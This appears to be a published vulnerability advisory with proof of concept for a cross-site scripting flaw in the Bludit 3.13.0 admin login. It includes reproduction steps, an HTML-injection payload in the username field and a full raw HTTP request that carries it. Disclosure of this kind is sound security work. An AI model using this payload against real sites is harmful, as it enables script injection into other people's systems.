Bludit 3.13.0 Cross Site Scripting

`# Exploit Title: Bludit 3.13.0 - Cross Site Scripting (XSS)  
#Exploit Author: Gökhan ŞENŞÜKÜR  
# Date: 29/02/2024  
# Vendor Homepage: https://www.bludit.com  
# Software Link: https://www.bludit.com/releases/bludit-3-13-0.zip  
# Version: bludit-3-13-0  
# Tested on: Windows  
  
TECHNICAL DETAILS & POC  
========================================  
  
  
### Steps to reproduce  
  
1.⁠ ⁠Open page http://localhost:test/admin/;  
2.⁠ ⁠Enter username as `⁠ admin"><img src=x onerror=alert(1)> ⁠`  
3.⁠ ⁠U can see pop up  
  
### HTTP Request ###  
  
POST /test/admin/ HTTP/1.1  
Host: localhost  
Content-Length: 139  
Cache-Control: max-age=0  
sec-ch-ua: "Not_A Brand";v="8", "Chromium";v="120"  
sec-ch-ua-mobile: ?0  
sec-ch-ua-platform: "Windows"  
Upgrade-Insecure-Requests: 1  
Origin: http://localhost  
Content-Type: application/x-www-form-urlencoded  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.199 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: navigate  
Sec-Fetch-User: ?1  
Sec-Fetch-Dest: document  
Referer: http://localhost/admin/  
Accept-Encoding: gzip, deflate, br  
Accept-Language: en-US,en;q=0.9  
Cookie: BLUDIT-KEY=9951a5o12g66e4c9aill39ul4p  
Connection: close  
  
tokenCSRF=d39d816df2972798da8c5be0b0b944cfc5163938&username=%60%60admin%22%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29%3E%60%60&password=&save=  
  
  
  
  
`